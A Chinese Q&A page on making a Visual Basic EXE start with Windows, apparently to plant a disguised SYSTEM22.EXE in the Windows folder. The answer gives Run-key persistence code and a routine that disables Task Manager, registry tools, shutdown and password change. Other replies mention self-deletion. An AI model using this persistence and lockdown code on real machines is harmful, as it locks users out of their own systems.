EXE 自启动代码

发布时间:2024-11-08 04:54 发布:上海旅游网

问题描述:

在EXE中的把本程序添加到自启动 或者添加RUN=C:\WINDOWS\SYSTEM22.EXE
我想知道怎么添加哦
还要将它释放到
C:\WINDOWS\
并重命名为
SYSTEM22
我还没问怎么发送呢,当然我也不想知道怎么发送,偶才不做黑客哩~..~

问题解答:

随系统自启动:
窗体(Form1)代码:
'在窗体中添加一个CheckBox控件,控件名为:CheckBox1
Dim aa As String
Dim SystemPath As String
Private Sub Form_Load()
RegReadValue &H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "[zhan1616(小丑)]", 1, aa
SystemPath = App.Path
If Right(SystemPath, 1) <> "\" Then SystemPath = SystemPath + "\"
If aa = SystemPath + App.EXEName + ".EXE" Then Check1.Value = 1 Else Check1.Value = 0
End Sub
Private Sub Check1_Click()
On Error Resume Next
If Check1.Value = 0 Then
RegDeleteKeyName HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "[zhan1616(小丑)]"
Else
RegSaveStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "[zhan1616(小丑)]", oString, SystemPath + App.EXEName + ".EXE"
End If
End Sub

模块中的代码:
Option Explicit
Dim REG_DWORD
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function ExpandEnvironmentStrings Lib "kernel32" Alias "ExpandEnvironmentStringsA" (ByVal lpSrc As String, ByVal lpDst As String, ByVal nSize As Long) As Long
Public Declare Function RegQueryValue Lib "advapi32.dll" Alias "RegQueryValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As Long

Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Const SPI_SCREENSAVERRUNNING = 97

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion(1 To 128) As Byte
End Type
Public Const VER_PLATFORM_WIN32_NT = 2&

Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Public Enum ohKey
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_CURRENT_USER = &H80000001
HKEY_DYN_DATA = &H80000006
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum
'读取字符串变量
Public Enum OpTypeString
oString = 1 '字符串
oExpandSZ = 2 '展开式字符串
oLongData = 7 '多重字符串
End Enum
Public Enum OpTypeNumber
oLong = 4 '长整型
oBinary = 3 'Binary数据
oBigEndian = 5 'Big Endian长整数

End Enum

Sub SaveStringWORD(hKey As ohKey, strPath As String, strValue As String, strData As String)
Dim ret
RegCreateKey hKey, strPath, ret
RegSetValueEx ret, strValue, 0, REG_DWORD, CLng(strData), 4
RegCloseKey ret
End Sub

Sub SaveStringSZ(hKey As ohKey, strPath As String, strValue As String, strData As String)
Dim ret
RegCreateKey hKey, strPath, ret
RegSetValueEx ret, strValue, 0, 1, ByVal strData, LenB(StrConv(strData, vbFromUnicode))
RegCloseKey ret
End Sub

'控制系统功能
Public Sub OptReg(ByVal RegValue As String)
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoRun", RegValue '禁用运行
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableTaskMgr", RegValue '任务管理器
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoLogoff", RegValue '注销
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoClose", RegValue '关机
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableLockWorkstation", RegValue '锁定计算机
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableRegistryTools", RegValue '注册表
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableChangePassword", RegValue '更改密码
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\system", "NoVirtMemPage", RegValue '
SaveStringWORD &H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoSetFolders", RegValue '控制面板

End Sub

Public Function RegReadValue(mhKey As ohKey, lpSubKey As String, hKeyName As String, hValueType As Long, hKeyValue As String) As Boolean
'读取数据
'mhKey是指主键的名称,lpSubKey是指路径,hKeyName是指键名,hValueType是指键值的数据类型,hKeyValue是指数据
Dim i
Dim hKey As Long, ret As Long, lenData As Long
ret = RegOpenKey(mhKey, lpSubKey, hKey)
If ret = 0 Then
RegReadValue = True
'读取数据类型
ret = RegQueryValueEx(hKey, hKeyName, 0, hValueType, ByVal vbNullString, lenData)
Select Case hValueType
Case OpTypeString.oExpandSZ, OpTypeString.oLongData, OpTypeString.oString
'如果是字符型
Dim s As String, s2 As String
s = String(lenData, Chr(0))
RegQueryValueEx hKey, hKeyName, 0, hValueType, ByVal s, lenData
Select Case hValueType
Case OpTypeString.oString '如果是字符串
hKeyValue = Left(s, InStr(s, Chr(0)) - 1)
Case OpTypeString.oExpandSZ '如果是展开式字符串
s2 = String(Len(s) + 256, Chr(0))
ExpandEnvironmentStrings s, s2, Len(s2)
hKeyValue = Left(s2, InStr(s2, Chr(0)) - 1)
Case OpTypeString.oLongData '如果是多重字符串
hKeyValue = Left(s, Len(s) - 1)
End Select
Case OpTypeNumber.oBigEndian, OpTypeNumber.oLong
'如果是长整型
Dim l As Long
RegQueryValueEx hKey, hKeyName, 0, hValueType, l, lenData
hKeyValue = CStr(l)
Case OpTypeNumber.oBinary
'如果是二进制型
ReDim bArr(0 To lenData - 1) As Byte
RegQueryValueEx hKey, hKeyName, 0, hValueType, bArr(0), lenData
For i = 1 To lenData - 1
hKeyValue = hKeyValue + Hex(bArr(i))
Next i
End Select

Else
RegReadValue = False
End If
RegCloseKey hKey '删除打开的键值,释放内存

End Function

Public Function RegSaveStringValue(mhKey As ohKey, lpSubKey As String, hKeyName As String, hValueType As OpTypeString, hKeyValue As String) As Boolean
'写入字符串型数据
'mhKey是指主键的名称,lpSubKey是指路径,hKeyName是指键名,hValueType是指键值的数据类型,hKeyValue是指数据
Dim hKey As Long, ret As Long, retk As Long, cbData As Long '声明变量
hKeyValue = hKeyValue + Chr(0)
RegSaveStringValue = False
cbData = LenB(StrConv(hKeyValue, vbFromUnicode)) '读取字符串的实际长度
ret = RegCreateKey(mhKey, lpSubKey, hKey) '如果人打开这个主键,没有则创建该主键
If ret = 0 Then
If RegSetValueEx(hKey, hKeyName, 0, hValueType, ByVal hKeyValue, cbData) = 0 Then
RegSaveStringValue = True '成功则返回真值
End If
End If
RegCloseKey hKey '删除打开的键值,释放内存

End Function

Public Function RegDeleteKeyName(mhKey As ohKey, SubKey As String, hKeyName As String) As Boolean
'删除子键数据
'mhKey是指主键的名称,SubKey是指路径,hKeyName是指键名
Dim hKey As Long, ret As Long
ret = RegOpenKey(mhKey, SubKey, hKey)
RegDeleteKeyName = False
If ret = 0 Then
If RegDeleteValue(hKey, hKeyName) = 0 Then RegDeleteKeyName = True
End If
RegCloseKey hKey '删除打开的键值,释放内存
End Function

'然后你把CheckBox打勾后程序即可随系统启动

1、在程序启动之后,修改注册表(有专门的API函数,上网去查)将程序的路径写入注册表中的“run”项中(“run”在注册表的哪里你应该知道的)
2、同时可以将另一个EXE文件拷贝到你所要的文件夹下(用API函数也行,用CMD命令也行)
3、然后这个程序的功能就达到了,可以在程序退出之前自动删除自己(一般情况下是不可以的,这个比较技术性,需要你有汇编基础,可以去网上查)。

我不是电脑高手,但是分值真的太诱惑了...我觉得你只要右键单击"重命名",输入以后按回车就可以拉!

最简单的办法就是将SYSTEM22.EXE直接拖到 开始->程序->启动里面。当系统启动的时候就会自动执行改程序。

你是不是要做病毒哦~
不会~...

不敢教你,等一下我的电脑近黑客就死了

热点新闻